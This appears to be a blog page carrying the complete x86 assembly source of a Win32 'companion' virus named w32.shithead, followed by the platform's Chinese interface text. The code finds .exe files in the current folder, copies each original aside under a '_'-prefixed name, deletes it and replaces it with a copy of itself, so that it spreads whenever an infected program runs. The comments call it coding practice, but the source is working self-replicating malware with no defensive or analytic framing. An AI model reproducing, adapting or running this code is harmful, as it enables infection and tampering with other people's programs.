shithead.asm

.386P
Locals
jumps

.Model Flat ,StdCall

;Simple win32 companion Self Replicating Automation
;Jheronimus Bolch - Meta Informatic Syndrome Patients
;code is shit but it's simple-hope so....
extrn ExitProcess : PROC
extrn GetCommandLineA : PROC
extrn MessageBoxA : PROC
extrn MoveFileA:PROC
extrn FindFirstFileA:Proc
extrn FindNextFileA:Proc
extrn CopyFileA:PROC
extrn DeleteFileA:PROC


.Data

text db "bU-hahahaahahahaha",13,10 ;
db "The companion is getting alive...",0


caption db "Hell0",0
keimeno db "simple companion w32 virus",13,10
"basically for assembly coding practice",13,10
"Hope you'll enjoy the code...",13,10
"w32.shithead",13,10
"by Jack Daniels",0
psaxnogia db "*.exe",0

search_handle dd 0

myname db 40h dup (0)
newname db 40h dup (0)
search_data db 318 dup (0)
.Code
Main:
call GetCommandLineA
mov ecx,0
jampo:
mov bl,byte ptr[eax+1]
mov byte ptr[myname+ecx],bl
inc eax
inc ecx
cmp bl,22h
jne jampo
dec ecx
mov byte ptr[myname+ecx],0


push offset search_data
push offset psaxnogia

call FindFirstFileA

cmp eax,-1
je exit
mov search_handle,eax
call infect
more:


mov eax,[search_handle]
push offset search_data
push eax


call FindNextFileA
cmp eax,0
je exit
cmp byte ptr[search_data+44],"_"
je exit

call infect
jmp more

infect:
mov ecx,0
mov byte ptr[newname+ecx],"_"
newnamecreation:
inc ecx
mov bl,byte ptr[search_data+44+ecx-1]
mov byte ptr[newname+ecx],bl
cmp bl,0
jne newnamecreation
push 0
push offset caption
push offset newname
push 0
call MessageBoxA
push offset [search_data+44]
call DeleteFileA
push 1h
push offset [search_data+44]
push offset myname
call CopyFileA

push 1h
push offset newname
push offset [search_data+44]
call CopyFileA
ret

exit:
CALL ExitProcess


End Main
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值